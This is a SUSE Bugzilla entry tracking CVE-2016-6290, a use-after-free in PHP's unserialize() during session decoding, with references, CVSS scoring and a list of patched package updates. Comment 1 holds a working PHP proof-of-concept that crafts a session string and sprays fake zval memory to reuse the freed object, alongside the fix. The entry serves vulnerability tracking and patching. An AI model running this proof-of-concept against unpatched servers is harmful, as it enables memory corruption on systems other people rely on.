Bug 991429 – VUL-0: CVE-2016-6290: php: Use after free in unserialize() with Unexpected Session Deserialization

Bug 991429 - (CVE-2016-6290) VUL-0: CVE-2016-6290: php: Use after free in unserialize() with Unexpected Session Deserialization

(CVE-2016-6290)
Summary:	VUL-0: CVE-2016-6290: php: Use after free in unserialize() with Unexpected Se...

Status:	RESOLVED FIXED

Classification:	Novell Products
Product:	SUSE Security Incidents
Classification:	Novell Products
Component:	Incidents
Version:	unspecified
Hardware:	Other Other

Priority:	P3 - Medium Severity: Normal
Target Milestone:	---
Assigned To:	Security Team bot
QA Contact:	Security Team bot

URL:	https://smash.suse.de/issue/171313/
Whiteboard:	CVSSv2:SUSE:CVE-2016-6290:6.8:(AV:N/A...
Keywords:

Depends on:
Blocks:
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Reported:	2016-08-01 08:46 UTC by Sebastian Krahmer
Modified:	2017-09-19 14:35 UTC (History)
CC List:	4 users (show)

See Also:
Found By:	Security Response Team
Services Priority:
Business Priority:
Blocker:	---
Marketing QA Status:	---
IT Deployment:	---

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Description Sebastian Krahmer 2016-08-01 08:46:30 UTC

Quoting from RH BZ:

A use-after-free vulnerability was found in unserialize() with Unexpected Session Deserialization.


rh#1359710

References:
https://bugzilla.redhat.com/show_bug.cgi?id=1359710
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2016-6290
http://seclists.org/oss-sec/2016/q3/137
http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-6290.html
http://www.debian.org/security/2016/dsa-3631
http://www.cvedetails.com/cve/CVE-2016-6290/

Comment 1 Victor Pereira 2016-08-01 09:19:09 UTC

PoC:
```
<?php

ini_set('session.serialize_handler', 'php_binary');
session_start();
$sess = "\x1xi:1;\x2y";
session_decode($sess);
$uns_1 = '{';
$out_1[] = unserialize($uns_1);
unset($out_1);
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
for ($i = 0; $i < 5; $i++) {
  $v[$i] = $fakezval.$i;
}
$uns_2 = 'R:2;';
$out_2 = unserialize($uns_2);
var_dump($out_2);

function ptr2str($ptr)
{
	$out = '';
	for ($i = 0; $i < 8; $i++) {
		$out .= chr($ptr & 0xff);
		$ptr >>= 8;
	}
	return $out;
}

?>
```

Fix:
```
if (namelen < 0 || namelen > PS_BIN_MAX || (p + namelen) >= endptr) {
+  PHP_VAR_UNSERIALIZE_DESTROY(var_hash);
  return FAILURE;
}
```

Comment 2 Petr Gajdos 2016-08-01 14:58:00 UTC

https://bugs.php.net/bug.php?id=72562

http://git.php.net/?p=php-src.git;a=commit;h=3798eb6fd5dddb211b01d41495072fd9858d4e32

Comment 3 Petr Gajdos 2016-08-03 10:19:32 UTC

I do not know how to prove with the testcase that the php is affected. Code is everywhere, fixing everywhere.

Comment 4 Petr Gajdos 2016-08-04 08:54:21 UTC

I believe all affected code streams fixed.

Comment 5 Bernhard Wiedemann 2016-08-04 10:02:18 UTC

This is an autogenerated message for OBS integration:
This bug (991429) was mentioned in
https://build.opensuse.org/request/show/416889 13.2 / php5

Comment 9 Sebastian Krahmer 2016-08-10 10:01:19 UTC

CVSSv2:SUSE:CVE-2016-6290:6.8:(AV:N/AC:M/Au:N/C:P/I:P/A:P)

Comment 10 Swamp Workflow Management 2016-08-15 13:09:50 UTC

openSUSE-SU-2016:2071-1: An update that fixes 12 vulnerabilities is now available.

Category: security (moderate)
Bug References: 987580,988032,991422,991424,991426,991427,991428,991429,991430,991433,991434,991437
CVE References: CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297
Sources used:
openSUSE 13.2 (src):    php5-5.6.1-72.1

Comment 11 Swamp Workflow Management 2016-08-16 11:11:27 UTC

SUSE-SU-2016:2080-1: An update that fixes 12 vulnerabilities is now available.

Category: security (important)
Bug References: 986004,986244,986386,986388,986393,991426,991427,991428,991429,991430,991433,991437
CVE References: CVE-2015-8935,CVE-2016-5399,CVE-2016-5766,CVE-2016-5767,CVE-2016-5769,CVE-2016-5772,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6296,CVE-2016-6297
Sources used:
SUSE Linux Enterprise Server 11-SP2-LTSS (src):    php5-5.2.14-0.7.30.89.1
SUSE Linux Enterprise Debuginfo 11-SP2 (src):    php5-5.2.14-0.7.30.89.1

Comment 12 Swamp Workflow Management 2016-09-01 16:10:22 UTC

SUSE-SU-2016:2210-1: An update that fixes 9 vulnerabilities is now available.

Category: security (moderate)
Bug References: 987530,991426,991427,991428,991429,991430,991433,991437
CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6296,CVE-2016-6297
Sources used:
SUSE Linux Enterprise Software Development Kit 11-SP4 (src):    php53-5.3.17-79.2
SUSE Linux Enterprise Server 11-SP4 (src):    php53-5.3.17-79.2
SUSE Linux Enterprise Debuginfo 11-SP4 (src):    php53-5.3.17-79.2

Comment 14 Swamp Workflow Management 2016-09-16 19:10:06 UTC

SUSE-SU-2016:2328-1: An update that fixes 18 vulnerabilities is now available.

Category: security (important)
Bug References: 987530,991426,991427,991428,991429,991430,991433,991437,997206,997207,997208,997210,997211,997220,997225,997230,997257
CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132
Sources used:
SUSE Linux Enterprise Server 11-SP2-LTSS (src):    php53-5.3.17-55.1
SUSE Linux Enterprise Debuginfo 11-SP2 (src):    php53-5.3.17-55.1

Comment 15 Swamp Workflow Management 2016-09-28 13:11:17 UTC

SUSE-SU-2016:2408-1: An update that fixes 24 vulnerabilities is now available.

Category: security (important)
Bug References: 987530,987580,988032,991422,991424,991426,991427,991428,991429,991430,991433,991434,991437,997206,997207,997208,997210,997211,997220,997225,997230,997248,997257
CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7134
Sources used:
SUSE Linux Enterprise Software Development Kit 12-SP1 (src):    php5-5.5.14-73.1
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php5-5.5.14-73.1

Comment 16 Swamp Workflow Management 2016-10-04 15:12:35 UTC

openSUSE-SU-2016:2451-1: An update that fixes 24 vulnerabilities is now available.

Category: security (important)
Bug References: 987530,987580,988032,991422,991424,991426,991427,991428,991429,991430,991433,991434,991437,997206,997207,997208,997210,997211,997220,997225,997230,997248,997257
CVE References: CVE-2014-3587,CVE-2016-3587,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6288,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7134
Sources used:
openSUSE Leap 42.1 (src):    php5-5.5.14-59.1

Comment 17 Swamp Workflow Management 2016-10-05 19:10:14 UTC

SUSE-SU-2016:2460-1: An update that solves 29 vulnerabilities and has two fixes is now available.

Category: security (important)
Bug References: 1001950,987580,988032,991422,991424,991426,991427,991428,991429,991430,991434,991437,995512,997206,997207,997208,997210,997211,997220,997225,997230,997247,997248,997257,999313,999679,999680,999684,999685,999819,999820
CVE References: CVE-2016-4473,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7133,CVE-2016-7134,CVE-2016-7412,CVE-2016-7413,CVE-2016-7414,CVE-2016-7416,CVE-2016-7417,CVE-2016-7418
Sources used:
SUSE Linux Enterprise Software Development Kit 12-SP1 (src):    php7-7.0.7-15.1
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php7-7.0.7-15.1

Comment 18 Marcus Meissner 2016-10-31 08:20:56 UTC

released

Comment 19 Swamp Workflow Management 2016-11-01 15:23:04 UTC

SUSE-SU-2016:2460-2: An update that solves 29 vulnerabilities and has two fixes is now available.

Category: security (important)
Bug References: 1001950,987580,988032,991422,991424,991426,991427,991428,991429,991430,991434,991437,995512,997206,997207,997208,997210,997211,997220,997225,997230,997247,997248,997257,999313,999679,999680,999684,999685,999819,999820
CVE References: CVE-2016-4473,CVE-2016-5399,CVE-2016-6128,CVE-2016-6161,CVE-2016-6207,CVE-2016-6289,CVE-2016-6290,CVE-2016-6291,CVE-2016-6292,CVE-2016-6295,CVE-2016-6296,CVE-2016-6297,CVE-2016-7124,CVE-2016-7125,CVE-2016-7126,CVE-2016-7127,CVE-2016-7128,CVE-2016-7129,CVE-2016-7130,CVE-2016-7131,CVE-2016-7132,CVE-2016-7133,CVE-2016-7134,CVE-2016-7412,CVE-2016-7413,CVE-2016-7414,CVE-2016-7416,CVE-2016-7417,CVE-2016-7418
Sources used:
SUSE Linux Enterprise Module for Web Scripting 12 (src):    php7-7.0.7-15.1

Comment 20 Swamp Workflow Management 2017-01-30 13:23:39 UTC

An update workflow for this issue was started.
This issue was rated as moderate.
Please submit fixed packages until 2017-02-13.
When done, reassign the bug to security-team@suse.de.
https://swamp.suse.de/webswamp/wf/63367